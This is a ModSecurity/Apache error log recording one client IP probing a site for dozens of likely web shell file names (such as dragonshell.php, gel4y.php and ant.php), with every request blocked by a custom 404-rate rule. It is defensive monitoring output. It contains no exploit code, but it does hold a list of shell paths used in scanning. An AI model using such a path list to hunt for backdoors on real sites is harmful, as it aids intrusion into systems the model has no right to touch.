[Fri Mar 27 19:09:42.956623 2026] [:error] [pid 4293:tid 4301] [client 158.158.32.90:60547] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "acZldpLjeJUC3OKtEx9bcAAAAUY"]
[Fri Mar 27 19:09:43.443183 2026] [:error] [pid 27851:tid 27880] [client 158.158.32.90:62702] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "acZld3R2ccxe3RMCLbrifgAAANY"]
[Fri Mar 27 19:09:43.941327 2026] [:error] [pid 27851:tid 27874] [client 158.158.32.90:60024] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "acZld3R2ccxe3RMCLbrifwAAANA"]
[Fri Mar 27 19:09:44.434211 2026] [:error] [pid 4293:tid 4299] [client 158.158.32.90:49523] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "acZleJLjeJUC3OKtEx9bcwAAAUQ"]
[Fri Mar 27 19:09:44.945771 2026] [:error] [pid 4293:tid 4308] [client 158.158.32.90:41045] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "acZleJLjeJUC3OKtEx9beQAAAU0"]
[Fri Mar 27 19:09:45.561494 2026] [:error] [pid 27743:tid 27766] [client 158.158.32.90:43503] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v4.php"] [unique_id "acZleSA46UYYLqzw99DG8wAAAAI"]
[Fri Mar 27 19:09:46.180431 2026] [:error] [pid 27743:tid 27767] [client 158.158.32.90:53265] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v4.php"] [unique_id "acZleiA46UYYLqzw99DG9wAAAAM"]
[Fri Mar 27 19:09:46.901828 2026] [:error] [pid 27851:tid 27873] [client 158.158.32.90:41037] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v4.php"] [unique_id "acZlenR2ccxe3RMCLbrigwAAAM8"]
[Fri Mar 27 19:09:47.620700 2026] [:error] [pid 27749:tid 27803] [client 158.158.32.90:53263] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v4.php"] [unique_id "acZle8EqyoMni2Q6_X7pLwAAAEw"]
[Fri Mar 27 19:09:48.157789 2026] [:error] [pid 63897:tid 63911] [client 158.158.32.90:41085] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "acZlfGVSkmYmLu7ycYg-OAAAAQw"]
[Fri Mar 27 19:09:48.837637 2026] [:error] [pid 63897:tid 63917] [client 158.158.32.90:60009] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "acZlfGVSkmYmLu7ycYg-OwAAARI"]
[Fri Mar 27 19:09:49.466792 2026] [:error] [pid 27743:tid 27770] [client 158.158.32.90:53347] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "acZlfSA46UYYLqzw99DHAAAAAAY"]
[Fri Mar 27 19:09:49.991934 2026] [:error] [pid 27743:tid 27781] [client 158.158.32.90:60546] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "acZlfSA46UYYLqzw99DHBAAAABE"]
[Fri Mar 27 19:09:50.575642 2026] [:error] [pid 63897:tid 63899] [client 158.158.32.90:43499] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "acZlfmVSkmYmLu7ycYg-QgAAAQA"]
[Fri Mar 27 19:09:51.769657 2026] [:error] [pid 27749:tid 27814] [client 158.158.32.90:59327] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "acZlf8EqyoMni2Q6_X7pMwAAAFc"]
[Fri Mar 27 19:09:52.436638 2026] [:error] [pid 27749:tid 27796] [client 158.158.32.90:62713] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "acZlgMEqyoMni2Q6_X7pNQAAAEU"]
[Fri Mar 27 19:09:53.371111 2026] [:error] [pid 27851:tid 27877] [client 158.158.32.90:63926] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "acZlgXR2ccxe3RMCLbriiAAAANM"]
[Fri Mar 27 19:09:54.307296 2026] [:error] [pid 4341:tid 4347] [client 158.158.32.90:31106] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc13.php"] [unique_id "acZlguKJWrNB5dMlERGNRAAAAYQ"]
[Fri Mar 27 19:09:54.915215 2026] [:error] [pid 27851:tid 27861] [client 158.158.32.90:53248] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc13.php"] [unique_id "acZlgnR2ccxe3RMCLbrijAAAAMM"]
[Fri Mar 27 19:09:55.478400 2026] [:error] [pid 4341:tid 4349] [client 158.158.32.90:31167] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc13.php"] [unique_id "acZlg-KJWrNB5dMlERGNRwAAAYY"]
[Fri Mar 27 19:09:56.076129 2026] [:error] [pid 27743:tid 27786] [client 158.158.32.90:63904] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc13.php"] [unique_id "acZlhCA46UYYLqzw99DHDAAAABY"]
[Fri Mar 27 19:09:56.627569 2026] [:error] [pid 63897:tid 63906] [client 158.158.32.90:49504] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "acZlhGVSkmYmLu7ycYg-SQAAAQc"]
[Fri Mar 27 19:09:57.172547 2026] [:error] [pid 27851:tid 27862] [client 158.158.32.90:49525] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "acZlhXR2ccxe3RMCLbrijgAAAMQ"]
[Fri Mar 27 19:09:57.667249 2026] [:error] [pid 4293:tid 4318] [client 158.158.32.90:53266] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "acZlhZLjeJUC3OKtEx9bhwAAAVc"]
[Fri Mar 27 19:09:58.185164 2026] [:error] [pid 4293:tid 4298] [client 158.158.32.90:53272] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "acZlhpLjeJUC3OKtEx9bigAAAUM"]
[Fri Mar 27 19:09:58.828802 2026] [:error] [pid 4341:tid 4362] [client 158.158.32.90:63927] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "acZlhuKJWrNB5dMlERGNTgAAAZM"]
[Fri Mar 27 19:09:59.473721 2026] [:error] [pid 27851:tid 27867] [client 158.158.32.90:25534] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "acZlh3R2ccxe3RMCLbrikQAAAMk"]
[Fri Mar 27 19:10:00.002841 2026] [:error] [pid 27743:tid 27782] [client 158.158.32.90:49476] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "acZliCA46UYYLqzw99DHDgAAABI"]
[Fri Mar 27 19:10:00.535325 2026] [:error] [pid 4293:tid 4302] [client 158.158.32.90:53251] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "acZliJLjeJUC3OKtEx9bjwAAAUc"]
[Fri Mar 27 19:10:01.078385 2026] [:error] [pid 4293:tid 4304] [client 158.158.32.90:60557] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccu.php"] [unique_id "acZliZLjeJUC3OKtEx9bkwAAAUk"]
[Fri Mar 27 19:10:01.678177 2026] [:error] [pid 27743:tid 27776] [client 158.158.32.90:59312] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccu.php"] [unique_id "acZliSA46UYYLqzw99DHEQAAAAw"]
[Fri Mar 27 19:10:02.180723 2026] [:error] [pid 27749:tid 27807] [client 158.158.32.90:3598] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccu.php"] [unique_id "acZlisEqyoMni2Q6_X7pPAAAAFA"]
[Fri Mar 27 19:10:02.763551 2026] [:error] [pid 4293:tid 4302] [client 158.158.32.90:41083] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccu.php"] [unique_id "acZlipLjeJUC3OKtEx9bnAAAAUc"]
[Fri Mar 27 19:10:03.360216 2026] [:error] [pid 4293:tid 4306] [client 158.158.32.90:53324] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "acZli5LjeJUC3OKtEx9bnwAAAUs"]
[Fri Mar 27 19:10:03.971836 2026] [:error] [pid 27743:tid 27771] [client 158.158.32.90:41041] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "acZliyA46UYYLqzw99DHGgAAAAc"]
[Fri Mar 27 19:10:04.554755 2026] [:error] [pid 27743:tid 27776] [client 158.158.32.90:41039] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "acZljCA46UYYLqzw99DHHQAAAAw"]
[Fri Mar 27 19:10:05.084621 2026] [:error] [pid 27750:tid 27835] [client 158.158.32.90:53371] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "acZljYaSil5rd17ieLzmjwAAAJE"]
[Fri Mar 27 19:10:05.589052 2026] [:error] [pid 4293:tid 4307] [client 158.158.32.90:63938] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/north1.php"] [unique_id "acZljZLjeJUC3OKtEx9bpAAAAUw"]
[Fri Mar 27 19:10:06.086407 2026] [:error] [pid 27851:tid 27862] [client 158.158.32.90:43486] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/north1.php"] [unique_id "acZljnR2ccxe3RMCLbrimQAAAMQ"]
[Fri Mar 27 19:10:06.798464 2026] [:error] [pid 4293:tid 4310] [client 158.158.32.90:25514] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/north1.php"] [unique_id "acZljpLjeJUC3OKtEx9bpwAAAU8"]
[Fri Mar 27 19:10:07.346689 2026] [:error] [pid 4293:tid 4312] [client 158.158.32.90:41058] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/north1.php"] [unique_id "acZlj5LjeJUC3OKtEx9bqgAAAVE"]
[Fri Mar 27 19:10:07.936467 2026] [:error] [pid 27749:tid 27808] [client 158.158.32.90:55689] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dragonshell.php"] [unique_id "acZlj8EqyoMni2Q6_X7pQgAAAFE"]
[Fri Mar 27 19:10:08.582192 2026] [:error] [pid 27851:tid 27858] [client 158.158.32.90:63877] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dragonshell.php"] [unique_id "acZlkHR2ccxe3RMCLbrinAAAAMA"]
[Fri Mar 27 19:10:09.286437 2026] [:error] [pid 27749:tid 27797] [client 158.158.32.90:53356] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dragonshell.php"] [unique_id "acZlkcEqyoMni2Q6_X7pRAAAAEY"]
[Fri Mar 27 19:10:10.357152 2026] [:error] [pid 4293:tid 4305] [client 158.158.32.90:62685] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dragonshell.php"] [unique_id "acZlkpLjeJUC3OKtEx9btgAAAUo"]
[Fri Mar 27 19:10:11.243271 2026] [:error] [pid 27851:tid 27873] [client 158.158.32.90:49498] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "acZlk3R2ccxe3RMCLbripAAAAM8"]
[Fri Mar 27 19:10:11.927876 2026] [:error] [pid 63897:tid 63920] [client 158.158.32.90:60558] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "acZlk2VSkmYmLu7ycYg-TgAAARU"]
[Fri Mar 27 19:10:12.443989 2026] [:error] [pid 63897:tid 63903] [client 158.158.32.90:41060] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "acZllGVSkmYmLu7ycYg-TwAAAQQ"]
[Fri Mar 27 19:10:12.992555 2026] [:error] [pid 27750:tid 27839] [client 158.158.32.90:55709] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "acZllIaSil5rd17ieLzmlAAAAJU"]
[Fri Mar 27 19:10:13.543558 2026] [:error] [pid 4293:tid 4312] [client 158.158.32.90:3625] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/caiij.php"] [unique_id "acZllZLjeJUC3OKtEx9bvwAAAVE"]
[Fri Mar 27 19:10:14.106960 2026] [:error] [pid 4341:tid 4355] [client 158.158.32.90:59265] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/caiij.php"] [unique_id "acZlluKJWrNB5dMlERGNVgAAAYw"]
[Fri Mar 27 19:10:14.600648 2026] [:error] [pid 27851:tid 27870] [client 158.158.32.90:53280] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/caiij.php"] [unique_id "acZllnR2ccxe3RMCLbripgAAAMw"]
[Fri Mar 27 19:10:15.141541 2026] [:error] [pid 27750:tid 27818] [client 158.158.32.90:49519] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/caiij.php"] [unique_id "acZll4aSil5rd17ieLzmlwAAAIA"]
[Fri Mar 27 19:10:15.649359 2026] [:error] [pid 4341:tid 4351] [client 158.158.32.90:41037] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gel4y.php"] [unique_id "acZll-KJWrNB5dMlERGNWwAAAYg"]
[Fri Mar 27 19:10:16.206892 2026] [:error] [pid 27851:tid 27878] [client 158.158.32.90:43519] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gel4y.php"] [unique_id "acZlmHR2ccxe3RMCLbripwAAANQ"]
[Fri Mar 27 19:10:16.808012 2026] [:error] [pid 63897:tid 63923] [client 158.158.32.90:63903] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gel4y.php"] [unique_id "acZlmGVSkmYmLu7ycYg-VQAAARg"]
[Fri Mar 27 19:10:17.553157 2026] [:error] [pid 63897:tid 63916] [client 158.158.32.90:63937] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gel4y.php"] [unique_id "acZlmWVSkmYmLu7ycYg-XAAAARE"]
